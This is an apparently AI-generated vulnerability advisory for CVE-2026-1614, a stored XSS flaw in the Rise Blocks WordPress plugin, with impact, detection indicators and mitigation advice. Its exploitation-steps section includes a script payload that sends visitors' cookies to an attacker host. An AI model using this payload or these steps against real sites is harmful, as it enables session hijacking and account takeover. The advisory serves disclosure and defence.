CVE-2026-1614: 
WordPress vulnerability analysis and mitigation

Overview

CVE-2026-1614 is a Stored Cross-Site Scripting (XSS) vulnerability in the Rise Blocks – A Complete Gutenberg Page Builder plugin for WordPress. It affects all versions up to and including 3.7, stemming from insufficient input sanitization and output escaping on the logoTag Site Identity block attribute. Authenticated attackers with Contributor-level access or above can inject arbitrary web scripts into pages that execute when any user visits the affected page. It was published on February 25, 2026, and carries a CVSS v3.1 base score of 6.4 (Medium) (Red Hat CVE, Wordfence).

Technical details

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-Site Scripting). The root cause is insufficient sanitization of the logoTag attribute in the Site Identity block within the plugin's site-identity.php file (line 364), where user-supplied input is rendered without proper escaping (Wordfence, WordPress Trac). An attacker with at least Contributor-level WordPress access can craft a malicious block attribute value containing JavaScript, which is then stored in the database and rendered to all subsequent page visitors. No user interaction beyond page visitation is required for the payload to execute, and the scope is changed (affecting users' browsers rather than the server itself).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of any user who visits a page containing the injected block, including administrators. This can lead to session cookie theft, credential harvesting, defacement, redirection to malicious sites, or further privilege escalation if an administrator's session is hijacked. Confidentiality and integrity are both impacted at a low level per the CVSS scoring, with no direct availability impact (Red Hat CVE, Wordfence).

Exploitability

No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-1614 as of the available data. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability requires authenticated access at the Contributor level, which limits the attack surface compared to unauthenticated vulnerabilities. It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Wordfence).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the Rise Blocks – A Complete Gutenberg Page Builder plugin at version 3.7 or earlier using tools like WPScan or by inspecting page source for plugin references.
  2. Obtain Contributor Access: Register or compromise a Contributor-level (or higher) WordPress account on the target site.
  3. Create or Edit a Page/Post: Log in and navigate to the Gutenberg editor to create or edit a page that includes the Site Identity block from the Rise Blocks plugin.
  4. Inject Malicious Payload: Set the logoTag block attribute to a crafted value containing a JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) by manipulating the block's HTML or attribute directly.
  5. Publish the Page: Save and publish the page, causing the malicious script to be stored in the WordPress database.
  6. Trigger Execution: When any user (including administrators) visits the affected page, the injected script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Trac).

Indicators of compromise

  • Logs: WordPress access logs showing POST requests to /wp-admin/post.php or the REST API (/wp-json/wp/v2/) from Contributor-level accounts containing suspicious HTML or script tags in block content.
  • Database: Unexpected <script> tags or JavaScript event handlers (e.g., onerror, onload) stored in the wp_posts table within Rise Blocks Site Identity block markup, particularly in the logoTag attribute.
  • Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages containing the Rise Blocks Site Identity block, potentially indicating cookie or credential exfiltration.
  • File System: Review site-identity.php in the Rise Blocks plugin directory for unauthorized modifications to output escaping logic.

Mitigation and workarounds

WordPress site administrators should update the Rise Blocks – A Complete Gutenberg Page Builder plugin to a version beyond 3.7 that includes a fix for this vulnerability. Until a patched version is available or applied, restrict Contributor-level user registration and limit the ability of untrusted users to publish or edit pages containing the Site Identity block. Additionally, deploying a Web Application Firewall (WAF) with XSS filtering rules (such as those provided by Wordfence) can help detect and block exploitation attempts (Wordfence).

Community reactions

The vulnerability was discovered and disclosed by Wordfence, which assigned the CVE and published the advisory on February 25, 2026. Red Hat also tracked the CVE in their security database. Coverage has been limited to automated vulnerability aggregators and security databases, with no notable independent researcher commentary or significant social media discussion identified (Wordfence, Red Hat CVE).

Additional resources


Source: This report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-86850MEDIUM6.5
  • sku-error-fixer-for-woocommerce
NoNoOct 06, 2026
CVE-2026-88931MEDIUM5.3
  • social-web-suite
NoNoOct 06, 2026
CVE-2026-87841MEDIUM5.3
  • unitechpay-paiements-mobile-money
NoNoOct 06, 2026
CVE-2026-92990MEDIUM5.3
  • sendpress
NoNoOct 06, 2026
CVE-2026-92989MEDIUM4.3
  • sendpress
NoNoOct 06, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management